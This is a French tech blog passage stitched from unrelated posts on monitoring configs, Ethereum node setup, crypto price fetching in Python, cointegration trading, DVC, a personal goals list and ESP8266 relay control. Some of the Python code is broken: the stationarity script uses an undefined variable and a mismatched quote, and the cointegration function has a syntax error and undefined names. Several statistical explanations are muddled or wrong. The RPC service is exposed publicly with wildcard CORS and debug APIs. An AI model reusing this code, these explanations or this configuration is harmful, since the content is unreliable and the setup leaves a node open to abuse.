  ## If true, compute and report the sum of all non-idle CPU states.
  report_active = false
[[inputs.disk]]
  ## By default stats will be gathered for all mount points.
  ## Set mount_points will restrict the stats to only the specified mount points.
  # mount_points = ["/"]
  ## Ignore mount points by filesystem type.
  ignore_fs = ["tmpfs", "devtmpfs", "devfs", "overlay", "aufs", "squashfs"]
[[inputs.diskio]]
[[inputs.mem]]
[[inputs.net]]
[[inputs.processes]]
[[inputs.swap]]
[[inputs.system]]

Contenu du fichier influx.env:

DOCKER_INFLUXDB_INIT_MODE=setup
DOCKER_INFLUXDB_INIT_USERNAME=mon_user_secured
DOCKER_INFLUXDB_INIT_PASSWORD=mon_super_password
DOCKER_INFLUXDB_INIT_ORG=70c
DOCKER_INFLUXDB_INIT_BUCKET=cex
DOCKER_INFLUXDB_INIT_ADMIN_TOKEN=mon_token_de_fou

Et voilà, il ne reste plus qu’à exécuter cette commande:

docker-compose up -d

Bien sûr, même si le docker-compose contient la propriété restart: always permettant de démarrer les containers Docker même après un restart de Docker ou reboot de votre machine, je ne recommande pas cette config pour de la prod.

Installation de go

wget https://dl.google.com/go/go1.19.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.19.5.linux-amd64.tar.gz

Editer /root/bashrc et ajouter les commandes suivantes

export PATH=$PATH:/usr/local/go/bin
export GOPATH="${HOME}/.go/bin"
export PATH=$GOPATH:$PATH

Autres outils et consensus mechanism

# Prevent Debian sleep or hibernation
systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target

apt vim curl install git make supervisor build-essential software-properties-common net-tools jq

mkdir -p ethereum/consensus/prysm
cd $_
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh

Ouvrir le fichier /root/.bashrc et ajouter le contenu suivant:

export USE_PRYSM_VERSION=v3.1.1

Reload du bash source ~/.bashrc

Génération d’un token JWT

cd ethereum/consensus/prysm/
./prysm.sh beacon-chain generate-auth-secret

Création d’un manifest pour lancer prysm

Créer le fichier /etc/supervisor/conf.d/prysm.conf et ajouter le contenu suivant:

[program:beacon_eth]
command=/root/ethereum/consensus/prysm/prysm.sh beacon-chain --execution-endpoint=http://localhost:8551 --jwt-secret=/root/ethereum/consensus/prysm/jwt.hex --verbosity=debug
user=root
numprocs=1
autostart=true
autorestart=true
stderr_logfile=/var/log/prysm.log

systemctl restart supervisor
supervisorctl

systemctl enable systemd-timesyncd
systemctl start systemd-timesyncd
timedatectl status

Erigon installation

git clone --branch stable --single-branch https://github.com/ledgerwatch/erigon.git
cd erigon
make erigon
make rpcdaemon

Création du service

vim /etc/systemd/system/erigon.service

[Unit]
Description=Erigon Node
After=network.target network-online.target
Wants=network-online.target

[Service]
WorkingDirectory=/root/erigon/
ExecStart=/root/erigon/build/bin/erigon --datadir=/erigon --private.api.addr=localhost:9090 --prune=hrtc --prune.h.older=90000 --prune.r.older=90000 --prune.t.older=90000 --prune.c.older=90000 --metrics --metrics.addr=localhost --metrics.port=6060 --http=false --authrpc.jwtsecret /root/ethereum/consensus/prysm/jwt.hex
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon

[Install]
WantedBy=multi-user.target

Enable debug logs and format logs as JSON with flags: --log.console.json --log.console.verbosity debug

Création du second service

vim /etc/systemd/system/erigon-rpc.service

[Unit]
Description=Erigon RPC Daemon

[Service]

WorkingDirectory=/root/erigon/
ExecStart=/root/erigon/build/bin/rpcdaemon --datadir=/erigon --private.api.addr=localhost:9090 --http.vhosts '*' --http.port 8545 --http.addr 0.0.0.0 --http.corsdomain '*' --http.api=eth,erigon,web3,net,debug,trace
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon-rpc

[Install]
WantedBy=multi-user.target

Optional flag: --rpc.accessList=/root/rpc-rules.json with content:

{
  "allow": {
     "eth_newBlockFilter",
     ...
  } 
}

Methods: https://ethereum.github.io/execution-apis/api-documentation/

On active et démarre les services

systemctl daemon-reload
systemctl enable erigon
systemctl enable erigon-rpc
systemctl start erigon
systemctl start erigon-rpc

Troubleshooting

journalctl -f -u erigon
journalctl -f -u erigon-rpc
tail -f /var/log/prysm.log

Vérifier la synchronisation

curl -X POST -H "Content-Type: application/json" --data '{"jsonrpc": "2.0", "method": "eth_blockNumber", "params": [], "id":1}' localhost:8545 | jq -r ".result" | awk '{ printf "%d\n", $1 }'

Correctif

Pour remédier à ce problème, il suffit d’ajouter le script suivant dans la section build phase de son projet Xcode, avant bien sûr que la commande node soit exécutée.

if [[ -s "$HOME/.nvm/nvm.sh" ]]; then
. "$HOME/.nvm/nvm.sh"
elif [[ -x "$(command -v brew)" && -s "$(brew --prefix nvm)/nvm.sh" ]]; then
. "$(brew --prefix nvm)/nvm.sh"
fi

Et voilà

import ccxt
import calendar
from datetime import datetime
import pandas as pd
import numpy as np
from typing import List

binance = ccxt.binance()


def min_ohlcv(dt: datetime, pair: str, limit: int) -> list:
    # UTC native object
    since = calendar.timegm(dt.utctimetuple()) * 1000
    ohlcv1 = binance.fetch_ohlcv(
        symbol=pair, timeframe="1m", since=since, limit=limit
    )
    ohlcv2 = binance.fetch_ohlcv(
        symbol=pair, timeframe="1m", since=since, limit=limit
    )
    ohlcv = ohlcv1 + ohlcv2
    return ohlcv


def ohlcv(dt: List[str], pair: str, period: str = "1d") -> pd.DataFrame:
    ohlcv = []
    limit = 1000
    if period == "1m":
        limit = 720
    elif period == "1d":
        limit = 365
    elif period == "1h":
        limit = 24
    elif period == "5m":
        limit = 288
    for i in dt:
        start_dt = datetime.strptime(i, "%Y%m%d")
        since = calendar.timegm(start_dt.utctimetuple()) * 1000
        if period == "1m":
            ohlcv.extend(min_ohlcv(start_dt, pair, limit))
        else:
            ohlcv.extend(
                binance.fetch_ohlcv(
                    symbol=pair, timeframe=period, since=since, limit=limit
                )
            )
    df = pd.DataFrame(
        ohlcv,
        columns=["Date", "Open", "High", "Low", "Close", "Volume"],
    )
    df["Date"] = [
        datetime.fromtimestamp(float(time) / 1000) for time in df["Date"]
    ]
    df["Open"] = df["Open"].astype(np.float64)
    df["High"] = df["High"].astype(np.float64)
    df["Low"] = df["Low"].astype(np.float64)
    df["Close"] = df["Close"].astype(np.float64)
    df["Volume"] = df["Volume"].astype(np.float64)
    df.set_index("Date", inplace=True)
    return df


dt = ["20190101", "20200101"]
df = ohlcv(dt, "BTC/USDT", "1m")
print(df.head())

Résultat:

                        Open     High      Low    Close     Volume
Date
2019-01-01 01:00:00  3701.23  3703.72  3701.09  3702.46  17.100110
2019-01-01 01:01:00  3702.44  3702.63  3695.66  3697.04  23.700604
2019-01-01 01:02:00  3699.42  3702.04  3696.08  3698.14  14.488615
2019-01-01 01:03:00  3697.49  3698.19  3695.97  3696.51   8.499966
2019-01-01 01:04:00  3697.20  3697.62  3695.00  3696.32  21.782886

J’ai vu qu’il y avait des projets non officiel open source sur Github comme celui-ci avec apparemment un vrai REPL mais je n’ai pas eu le temps de l’analyser et de vérifier qu’il n’y avait pas de bug et surtout de faille de sécurité.

Pour mon besoin simple (test de syntaxe), on peut se contenter de terraform console, car c’est largement suffisant.

Ouvrir un terminal et entrer les commandes suivantes:

cd /tmp

cat <<EOF >test.tf
locals {
  ip_addresses = ["127.0.0.1", "0.0.0.1"]
}

terraform console <<EOF
concat("192.168.0.1", local.ip_addresses)
EOF

Error en output car commande invalide:

╷
│ Error: Invalid function argument
│
│   on <console-input> line 1:
│   (source code not available)
│
│ Invalid value for "seqs" parameter: all arguments must be lists or tuples; got string.
╵

Même test mais avec une commande valide:

terraform console <<EOF
concat(["192.168.0.1"], local.ip_addresses)
EOF

Output ok:

[
  "192.168.0.1",
  "0.0.0.1",
  "127.0.0.1",
]

Une fois terminé, rm /tmp/test.tf

for f in * ; do mv "$f" Prefix_"$f" ; done

pip install yt-dlp

Enregistrement mp3

yt-dlp -f 'ba' -x --audio-format mp3 lien_vers_votre_playlist

Enregistrement mp4

# Best video quality
yt-dlp lien_vers_votre_playlist -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best"

# Worst video quality mais high quality audio
yt-dlp lien_vers_votre_playlist -f "worstvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best"

Enregistrement en qualité 720p

-S "res:720,fps"

Enregistrement avec sous-titres anglais

--write-sub --write-auto-sub --sub-lang "en.*"

Installer les packages cctx et plotly puis créer un fichier contenant le code suivant:

import ccxt
from datetime import datetime
import plotly.graph_objects as go


def run():
    binance = ccxt.binance()
    trading_pair = "BTC/USDT"
    candles = binance.fetch_ohlcv(trading_pair, "1d")

    dates = []
    open_data = []
    high_data = []
    low_data = []
    close_data = []

    for candle in candles:
        dates.append(
            datetime.fromtimestamp(candle[0] / 1000.0).strftime(
                "%Y-%m-%d %H:%M:%S.%f"
            )
        )
        open_data.append(candle[1])
        high_data.append(candle[2])
        low_data.append(candle[3])
        close_data.append(candle[4])

    fig = go.Figure(
        data=[
            go.Candlestick(
                x=dates,
                open=open_data,
                high=high_data,
                low=low_data,
                close=close_data,
            )
        ]
    )
    fig.show()


if __name__ == "__main__":
    run()

Résultat:

Miser sur la corrélation entre différents assets pour faire du pair trading est une mauvaise idée. Il vaut mieux miser sur la cointégration.

Corrélation vs Cointégration

La cointégration est une relation statistique entre deux variables qui évoluent de manière similaire à long terme. Cela signifie que si l’une des variables change, l’autre suivra également cette tendance sur une période de temps prolongée.

La corrélation, en revanche, mesure simplement la relation entre deux variables à un moment donné. Si deux variables sont corrélées, cela signifie qu’elles varient de manière similaire, mais cela ne garantit pas qu’elles continueront de le faire à long terme.

En résumé, la cointégration implique une relation à long terme entre deux variables, tandis que la corrélation ne mesure que la relation à un moment donné. Dans cet article, nous allons donc approfondir le concept de cointégration.

Cointégration

Cointégration

La cointégration est donc une relation à long terme entre deux séries de données qui évoluent de manière similaire sur une période de temps prolongée.

Spread

Pour rappel, un spread est la différence entre les valeurs de deux séries de données. On va donc rechercher un spread qui franchit zéro pour acheter ou vendre des pairs; pour trader.

Z-score

Le z-score est une mesure statistique qui indique si une valeur est éloignée ou proche de la moyenne des valeurs d’une série de données.

En d’autres termes, le z-score est une mesure de l’écart entre une valeur et la moyenne (ou espérance) d’une distribution de données. Plus précisément, si X est une variable aléatoire suivant une distribution normale de moyenne μ et de déviation standard σ, le z-score de X est donné par la formule suivante :

z = (X - μ) / σ

Par exemple, si la moyenne des notes d’un examen est de 70 et que la déviation standard est de 5, et si vous obtenez une note de 80, votre z-score sera de (80 - 70) / 5 = 2.

Le z-score peut être utilisé pour évaluer si une valeur est “normale” ou “anormale” par rapport à la distribution des données.

Par exemple, si la moyenne des tailles d’une population est de 1,75 m et que la déviation standard est de 0,1 m, on peut dire qu’une personne mesurant 1,90 m a un z-score de (1,90 - 1,75) / 0,1 = 2, ce qui signifie qu’elle est 2 écarts-types au-dessus de la moyenne.

On peut également utiliser les z-scores pour faire des prévisions sur les valeurs futurs, en utilisant la loi normale.

Vulgairement, le Z-Score nous indique à quelle distance se situe un point de la moyenne.

En utilisant ces trois termes ensemble, nous pouvons comprendre comment la cointégration peut être utilisée pour mesurer l’écart entre deux séries de données et déterminer si cet écart est statistiquement significatif.

Par exemple, si nous avons deux séries de données qui sont cointégrées, nous pouvons utiliser le spread pour mesurer l’écart entre elles et le z-score pour savoir si cet écart est significatif.

Si le z-score est élevé, cela signifie que l’écart entre les deux séries de données est important et pourrait être utilisé pour ouvrir une position.

Importance de la stationnarité

Une courbe stationnaire en trading est une courbe qui ne montre pas de tendance claire ni de variation significative de prix sur une période de temps donnée. Elle est souvent utilisée pour déterminer si un actif est en surachat ou en survente et peut aider les traders à prendre des décisions sur le moment opportun pour acheter ou vendre.

Une courbe stationnaire peut être le résultat d’une période de consolidation du marché, où les investisseurs hésitent à prendre des positions et où le prix reste stable.

La stationnarité est importante en trading car elle permet de prévoir de manière plus précise les mouvements futurs des prix. En effet, lorsque les données sont stationnaires, cela signifie qu’elles ont une moyenne et une variance constante au fil du temps et ne sont pas influencées par des événements externes. Cela permet de mettre en place des modèles de prévision fiables et de prendre des décisions de trading en toute confiance.

De plus, la stationnarité est importante pour éviter les erreurs de modélisation qui peuvent entraîner des pertes financières importantes. Si les données ne sont pas stationnaires, il est possible que les modèles de prévision utilisés ne soient pas adaptés et ne reflètent pas correctement les mouvements futurs des prix.

Enfin, la stationnarité est également importante car elle permet de comparer les performances des différentes stratégies de trading et de choisir celle qui est la plus adaptée. Si les données ne sont pas stationnaires, il est difficile de déterminer si une stratégie est performante ou non, car elle peut être influencée par des facteurs externes qui ne sont pas pris en compte dans les modèles de prévision.

Faire des statistiques sur des données non stationnaires peut amener à des résultats inutiles.

Déterminer si une série est stationnaire

Pour déterminer si une série temporelle est stationnaire ou non, on peut utiliser l’Augmented Dickey Fuller (ADF). La stationnarité signifie que les caractéristiques de la série temporelle, telles que la moyenne et la variance, ne varient pas au fil du temps.

Pour utiliser l’ADF, nous devons d’abord supposer qu’une série temporelle est non stationnaire et que sa moyenne et sa variance augmentent au fil du temps. Nous testons alors cette hypothèse en utilisant l’ADF et en comparant les résultats à une valeur seuil connue. Si les résultats de l’ADF sont inférieurs à la valeur seuil, cela signifie que l’hypothèse de non-stationnarité est rejetée et que la série temporelle est considérée comme stationnaire. Si les résultats de l’ADF sont supérieurs à la valeur seuil, cela signifie que l’hypothèse de non-stationnarité est acceptée et que la série temporelle est considérée comme non stationnaire.

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from statsmodels.tsa.stattools import adfuller


def generate_data(params):
    mu = params[0]
    sigma = params[1]
    return np.random.normal(mu, sigma)

def generate_series():
    params = (0, 1)
    T = 100

    Serie_stationnaire = pd.Series(index=range(T))
    Serie_stationnaire.name = 'Série stationnaire'

    for t in range(T):
        Serie_stationnaire[t] = generate_data(params)

    T = 100

    Serie_non_stationnaire = pd.Series(index=range(T))
    Serie_non_stationnaire.name = 'Série non stationnaire'

    for t in range(T):
        params = (t * 0.1, 1)
        Serie_non_stationnaire[t] = generate_data(params)
        
    fig, (ax1, ax2) = plt.subplots(nrows =1, ncols =2, figsize=(16,6))

    ax1.plot(A)
    ax2.plot(Serie_non_stationnaire)
    ax1.legend(['Série stationnaire'])
    ax2.legend(['Série non stationnaire'])
    ax1.set_title('Stationaire')
    ax2.set_title('Non-Stationnaire')
    return (Serie_stationnaire, Serie_non_stationnaire)

def stationarity_test(X, cutoff=0.01):
    pvalue = adfuller(X)[1]
    if pvalue < cutoff:
        print(f"p-value = {pvalue} La série '{X.name}' est stationnaire")
    else:
        print('p-value = {pvalue} La série '{X.name}' est non-stationnaire')

if __name__ == "__main__":
    Serie_stationnaire, Serie_non_stationnaire = generate_series()
    stationarity_test(Serie_stationnaire)
    stationarity_test(Serie_non_stationnaire)

p-value = 7.792133892275302e-08 La série 'Série stationnaire' est stationnaire p-value = 0.9499837920490491 La série 'Série non stationnaire' est non-stationnaire

Calcul cointégration

def generate_two_series_corrolated_but_not_cointegrated()
    X_returns = np.random.normal(1, 1, 100)
    Y_returns = np.random.normal(2, 1, 100)

    X_diverging = pd.Series(np.cumsum(X_returns), name='X')
    Y_diverging = pd.Series(np.cumsum(Y_returns), name='Y')


    pd.concat([X_diverging, Y_diverging], axis=1).plot(figsize=(12,6));
    plt.xlim(0, 99)


if __name__ == "__main__":
    X,Y = generate_two_series_corrolated_but_not_cointegrated()
    print('Corrélation: ' + str(X_diverging.corr(Y_diverging)))
    score, pvalue, _ = coint(X_diverging,Y_diverging)
    print('Cointégration test p-value: ' + str(pvalue))

Corrélation: 0.9984106502979461

Cointegration test p-value: 0.17832558792675923

La valeur p-value nécessaire pour considérer que deux séries sont cointégrées dépend de l’hypothèse de base de l’analyse et de l’importance de la précision de l’analyse. En général, une valeur p-value inférieure à 0,05 (c’est-à-dire une probabilité inférieure à 5%) est souvent considérée comme indiquant une cointégration significative entre les deux séries. Cependant, cette valeur peut être ajustée en fonction des exigences de précision de l’analyse et de l’hypothèse de base.

Bot/Screener intéressant à créer

Voici une petite stratégie que l’on peut appeler Opportunité Z-score et que je laisse publique vous permettant de trouver des opportunités de trading.

Vous pouvez construire un screener qui analyse le Z-index sur toutes les pairs de cryptos cointégrées et qui se met à jour toutes les heures. Pour chaque pair, il suffit de prendre une timeframe de 2 semaines et un période d'1h et regarder si le z-score a bougé fortement.

Calcul du z-score

def zscore(series):
    return (series - series.mean()) / np.std(series)

Autres indicateurs

• t-value (test-value = test de valeur): Le test de valeur est utilisé pour déterminer si les deux séries peuvent être utilisées pour construire un modèle de prévision à long terme. Pour réaliser le test de valeur, on calcule d’abord une régression linéaire entre les deux séries. On peut alors utiliser un test statistique, comme le test de Durbin-Watson ou le test de Breusch-Godfrey, pour vérifier si le coefficient de la régression est significativement différent de zéro. Si le coefficient est significativement différent de zéro, cela signifie que les deux séries sont cointégrées et qu’un modèle de prévision à long terme peut être construit. Si le coefficient n’est pas significativement différent de zéro, cela signifie que les deux séries ne sont pas cointégrées et qu’un modèle de prévision à long terme ne peut pas être construit.

• c-value (critical value): C-value est une mesure de la force de la cointégration entre deux variables. Cela mesure à quel point les deux variables sont liées et dépendent l’une de l’autre à long terme. Plus le C-value est élevé, plus la cointégration est forte. Cela peut être utilisé pour évaluer la qualité de la relation entre les deux variables et pour déterminer si elles peuvent être utilisées comme base d’un modèle de cointégration.

t-value doit être inférieur à c-value.

• Hedge ratio: Le ratio de couverture est un concept utilisé pour décrire la proportion de la position d’un actif qui est couverte par une autre position dans un actif de couverture. Le ratio de couverture est généralement utilisé pour minimiser le risque d’une position en diversifiant la portefeuille. Le ratio de couverture ne garantit pas la neutralisation complète du risque, mais il peut être utilisé pour atténuer les fluctuations de la valeur de la position.

Dans cet article, nous allons voir comment versionner nos datasets et notre code. Les datasets ne seront pas stockés sur git car cet outil n’est pas fait pour stocker des fichiers volumineux. Il faut donc stocker les données ailleurs. Ici je vais les stocker sur Google Drive. DVC (Data Version Control) va permettre de versionner les data en créant une référence (un hash) qui sera stocké dans le commit git. C’est simple mais excessivement efficace.

Pourquoi Google Drive ?
Il est possible de connecter DVC à plusieurs data storages. Minio est une alternative très intéressante. J’ai déjà utilisé cet outil plusieurs fois par le passé en remplacement d’un bucket s3 classique sur AWS. C’est qualitatif et donc je le recommande. Néanmoins il faut le maintenir. Un abonnement Google Drive à 2 To par an coûte 100€ par an. C’est largement worth it et on a largement de quoi voir venir avecc autant de stockage.

Voici l’arborescence des projets data/algo-trading que j’utilise:

├── README.md
├── data
│   └── raw
│       ├── BTCUSDT-2017-2022-1mth.csv
│       └── BTCUSDT-2017-2022-1mth.csv.dvc (generated)
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
├── requirements.txt
├── results
│   ├── RSI-BTCUSDT-20170101-20201231-12h.csv
...

Setup dvc and add first dataset

# cd dans_mon_repo
git init
git remote add origin git@github.com:...
git branch -M master
git push -u origin master
git checkout -b votre_branch
dvc init
dvc add data/raw/BTCUSDT-2017-2022-1mth.csv 
# cette commande génère le fichier BTCUSDT-2017-2022-1mth.csv.dvc
# L'output de la commande dvc add affiche la commande suivante à exécuter:
git add data/raw/BTCUSDT-2017-2022-1mth.csv.dvc data/raw/.gitignore 
git commit
dvc remote add -d storage gdrive://uri_de_votre_dossier_sur_gdrive_le_folder_id
git commit .dvc/config -m "Configure remote storage on Google Drive"
git push origin votre_branch
dvc push

Récupérer ses data sur nouveau repo cloné

# cd /tmp
# git clone repo_url
# cd repo

tree
├── README.md
├── data
│   └── raw
│       └── BTCUSDT-2017-2022-1mth.csv.dvc
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
├── requirements.txt
└── results
dvc pull

tree
├── README.md
├── data
│   └── raw
│       ├── BTCUSDT-2017-2022-1mth.csv
│       └── BTCUSDT-2017-2022-1mth.csv.dvc
├── docs.md
├── mypy.ini
├── processes
│   └── get_data.py
├── pyproject.toml
└── results

git checkout et récupérer les data lié au commit

git checkout mon_commit_hash
dvc checkout
# cela va automatiquement modifier le dataset

Voici mon programme pour l’année 2023:

1. Pérennisation trading bots #TopPrio1

• Arbitrage bots
  • Focus DeFi <-> CeFi trades automatiques
  • Documenter les formules de prices calculations pour les différents DEXes pour point #2
  • Ajouter une nouvelle brique/feature (en Rust) pour sortir automatiquement les fonds sur cold wallet après trade (cold wallet sécurisé et pas chez moi. C’est comme à la banque: “pas de cash ici” -> #security
  • Voir la faisabilité pour réaliser des limite orders depuis un hardware wallet -> Puis faire des trades irréalistes ou queue de chandele
  • Afficher mon trading dashboard homemade sur écran géant
  • Audit sécurité + anonymisation pour encore plus de sécurité (pas plus de détail #security)
  • Ré-écrire quelques parties de code en suivant le pattern port adapter (Archi Hexagonale)
• Trading Algorithmique #toDoFirstAsItIsAQuickWin
  • Finir automatisation de la partie data science (Python)
  • Finir automatisation de la partie backtesting et entrer dans une logique de continuous improvement
  • Documenter Retour d’Expérience backtesting
  • Lancer le même bot sur concurrent de Binance et mesurer les différences à la recherche d’opportunités (voir si utilité d’utiliser CCTX plutôt que de taper directement dans l’API de Binance)

2. Provide DeFi/web3 trainings/conf/presentation #TopPrio2

• Retour d’expérience après 3 ans de trading
• Formation arbitrage en présentiel (à donner en France ou étranger)

3. Lire un autre trading book

• Référence: Wyckoff 2.0: Structures, Volume Profile et Order Flow: Combiner la logique de la Méthodologie Wyckoff et l’objectivité du Volume Profile
• Ou voir si j’ai trouvé une autre référence plus intéressant sur le trading algorithmique/ arbitrage statistique

4. Suivre un training trading scalping type bookmap

5. Continuer à suivre quotidiennement l’actualité économique et crypto + Analyse Fondamentale projets crypto

6. Impression 3D (si mon imprimante a pu être réparée et si déménagement terminé)

• Constuire une éolienne en PLA (pour résistence)
• Construire un robot Scara en résine (pas besoin de résistence -> travail de précision)

7. Ethical hacking (par passion depuis toujours)

• DNSSec: comprendre (pour mieux se protéger) comment on réaliser un DNS hijacking
• Smart Contracts audits sur une DAO en mode anonyme
• Tester Bettercap et comprendre les capabilities dans mon réseau domestique

8. Lire un livre de développement personnel

9. Automatiser un jardin hydroponique + Microgreens avec eps8266 #TopPrio3

• Arrosage
• Eclairage
• Mesurer le PH et Electro Conductivité + Régulation (et comment gérer la dérive du Phmètre. Ma grosse incertitude -> Plan B si la gestion de la dérive trop compliquée: créer un protocole pour toujours avoir la même solution nutritive en jouant sur les intrants)
• Faire pousser ma première salade dans l’eau (avant fin février pour être en plein hiver et volontairement en mode ultra low cost)
• (+ Apprendre à mesurer tous les nutriments NPK manuellement)

10. Finir mini app partage vidéos 3D (Rust API/ Vue + Threejs)

11. Lire le journal officiel RGPD car j’en ai assez d’entendre “parce que GDPR” en réunion

• https://eur-lex.europa.eu/legal-content/FR/TXT/PDF/?uri=CELEX:32016R0679

12. Etude de marché et business plan pour nouveau investissement (sujet non communiqué et chronophage)

13. Développer des compétences en géothermie

Cet article fait suite à mon article précédent sur l’utilisation d’une board avec esp8266. Voici ici comment piloter le relai de la même board ESP12F Relay X1 V2.1 en utilisant Blynk. C’est plus une prise de notes pour partage et reminder personel pour réutilisation future.

Utilisation de Blynk

• Créer un compte et “skipper” tous les quickstart guides et tutorials.
• Créer un nouveau template. Donnez lui le nom que vous souhaitez.
• Créer un datastream. Nommez le pompe par exemple et sélectionnez V0 comme PIN virtuel.
• Créer une automation. Nommez la pompe, sélectionnez le datastream que vous venez de créer et sélectionnez switch comme type d’automation.
• Dans web dashboard, drag and drop un switch button sur le dashboard/ grid et cliquez sur la wheel settings du switch button que vous venez de déposer.
• Dans les settings du switch button, sélectionnez pompe (V0) comme data stream et laissez “On value” = 1 et “Off value” = 0.
• Sauvegardez vos changements dans Blynk
• Ouvrir Arduino IDE et installer le librairie Blynk depuis la section Manage libraries.
• On ne va pas créer un projet Blynk from scratch. On va ouvrir un projet example Blynk. Pour ce faire, cliquez sur Fichier -> Examples -> Blynk -> Blynk.Edgent -> Edgent_ESP8266. L’IDE va ouvrir une nouvelle fenêtre avec plusieurs fichiers. Le fichier Edgent_ESP8266.ino ressemble à ceci:

// Fill-in information from your Blynk Template here
#define BLYNK_TEMPLATE_ID "..."
#define BLYNK_DEVICE_NAME "..."

#define BLYNK_FIRMWARE_VERSION        "0.1.0"

#define BLYNK_PRINT Serial
//#define BLYNK_DEBUG

#define APP_DEBUG


// Uncomment your board, or configure a custom board in Settings.h
//#define USE_SPARKFUN_BLYNK_BOARD
//#define USE_NODE_MCU_BOARD
//#define USE_WITTY_CLOUD_BOARD
//#define USE_WEMOS_D1_MINI

#include "BlynkEdgent.h"

void setup()
{
  Serial.begin(115200);
  delay(100);
  pinMode(PIN_RELAY, OUTPUT);
  BlynkEdgent.begin();
}

void loop() {
  BlynkEdgent.run();
}

• Retournez dans Blynk et copier le code “Firmware configuration” depuis la section “Info” de votre template. Voici un exemple du code dont je parle:

#define BLYNK_TEMPLATE_ID "...."
#define BLYNK_DEVICE_NAME "..."

• Collez ce code à la place des lignes commentées dans votre fichier Edgent_ESP8266.ino.
• Ajouter la ligne suivante pour spécifier quel Pin sera utilisé sur la board.

#define PIN_RELAY 5

• Enfin ajouter le code suivant pour binder et intéragir avec le pin (ici 5) de la board au pin virtuel (v0).

BLYNK_WRITE(V0)
{
  if (param.asInt() == 1)
  {
    digitalWrite(PIN_RELAY, HIGH); 
  }
  else
  {
    digitalWrite(PIN_RELAY, LOW); 
  }
}

Code final

Voici le code du fichier principal Edgent_ESP8266.ino (le seul fichier que j’ai dû modifier):

// Fill-in information from your Blynk Template here
#define BLYNK_TEMPLATE_ID "VOTRE_ID"
#define BLYNK_DEVICE_NAME "LE_NOM_DE_VOTRE_DEVICE"

#define BLYNK_FIRMWARE_VERSION        "0.1.0"

#define BLYNK_PRINT Serial
//#define BLYNK_DEBUG

#define APP_DEBUG

#define PIN_RELAY 5


// Uncomment your board, or configure a custom board in Settings.h
//#define USE_SPARKFUN_BLYNK_BOARD
//#define USE_NODE_MCU_BOARD
//#define USE_WITTY_CLOUD_BOARD
//#define USE_WEMOS_D1_MINI

#include "BlynkEdgent.h"

void setup()
{
  Serial.begin(115200);
  delay(100);
  pinMode(PIN_RELAY, OUTPUT);
  BlynkEdgent.begin();
}

BLYNK_WRITE(V0)
{
  if (param.asInt() == 1)
  {
    digitalWrite(PIN_RELAY, HIGH); 
  }
  else
  {
    digitalWrite(PIN_RELAY, LOW); 
  }
}

void loop() {
  BlynkEdgent.run();
}

Pilotage via App mobile

Après avoir compilé et uploadé le sketch sur l’esp8266, il est maintenant temps de connecter l’esp8266 au wifi pour pouvoir piloter le relai via internet, donc depuis n’importe où.

Télécharger l’app Android Blynk IoT depuis le Play Store et cliquer sur “Add Device”. Cliquer sur “Search nearby device”. Il vous sera demandé d’activer le wifi sur votre téléphone. Faites le et sélectionnez le hotspot de votre esp8266. Une fois votre SmartPhone connecté à votre esp8266 en wifi, vous pourrez configurer le Wifi de votre esp8266 en sélectionnant le wifi de votre domicile et en entrant son mot de passe tout simplement. Une fois votre esp8266 configuré et connecté à internet, vous pourrez contrôler votre relai de n’importe où dans le monde et créer des automations plus avancées directement via Blynk dashboard. Il ne sera plus nécessaire d’intéragir avec le code. Cette solution Blynk est très bien pour créer de petits projets personnels très rapidement.

Dans mon cas, je pilote des pompes péristaltiques comme celle ci:

Et je peux les activer via l’app mobile Blynk. Par exemple:

Je suis en train de créer un arrosage automatique pour mes productions de emicro-pousses et régulateur de PH/ EC pour jardin hydroponique connecté. Dans cet article, nous allons voir comment piloter la board ESP12F Relay X1 V2.1 qui embarque un esp8266.

Je cherchais à me mettre à jour sur l’IoT et j’ai découvert les vidéos des Frères Poulain disponibles sur Youtube. Je les recommande fortement https://www.youtube.com/@lesfrerespoulain .

Après avoir cherché plusieurs heures comment envoyer mon code sur l’esp, car bien-sûr il n’y avait pas de documentation livré avec mon colis, je me dis que cela pourrait être utile de documenter la procédure.

Alimentation de la board en mode programmation

Tout simplement par usb. On ne s’embête à brancher quoique ce soit en mode développemeent. On branche le micro-usb.

Branchement usb-to-serial

Alimenter la board en énergie ne suffit pas. Il faut pouvoir envoyer son code dans l’esp.

Pour ce faire, il faut une carte usb-to-serial:

Voici la référence: DSD TECH SH-U06B Adaptateur série USB vers TTL avec Puce PL2303GC

Il faut relier:

• le pin RX de la carte au pin TX de la board esp (dans mon cas fil noir)
• le pin TX de la carte au pin RX de la board esp (dans mon cas fil bleu)
• le GND de la carte au GND de la board esp (dans mon cas fil rouge)

Ensuite il faut démarrer la board esp en mode programmation. Pour cela, il faut brancher un fil entre IO0 et GND et appuyer sur le bouton reset. Si un programme tourait, il s’arrête et vous pouvez flasher la board depuis Arduino IDE.

Configuration d’Arduino IDE

Après avoir installé Arduino IDE, l’ouvrir et aller dans File -> Preferences. Cliquer sur Add URL et ajouter l’URL suivante https://arduino.esp8266.com/stable/package_esp8266com_index.json dans la section Additional Development Board Manager URL.

Ensuite ajouter la libraire esp8266. Cliquer sur l’onglet Tools -> Boards: -> Boards manager. Puis dans la barre de recherche entrere ESP8266 pour module/librairie esp8266 complémentaire.

Un fois installé, cliquer une nouvelle fois sur Tools -> Boards: -> esp8266 et choisissez soit la board ESPino (ESP-12 Module) ou Generic ESP8266 Module.

Premier code

Voici le premier merveilleux code que j’ai écrit pour tester le bon fonctionnement de mon setup:

#define PIN_LED 16
#define PIN_RELAY 5

void setup() {
  pinMode(PIN_LED, OUTPUT);
  pinMode(PIN_RELAY, OUTPUT);
  digitalWrite(PIN_LED, HIGH);
  digitalWrite(PIN_RELAY, HIGH);
}

void loop() {
  digitalWrite(PIN_LED, LOW);
  digitalWrite(PIN_RELAY, LOW);
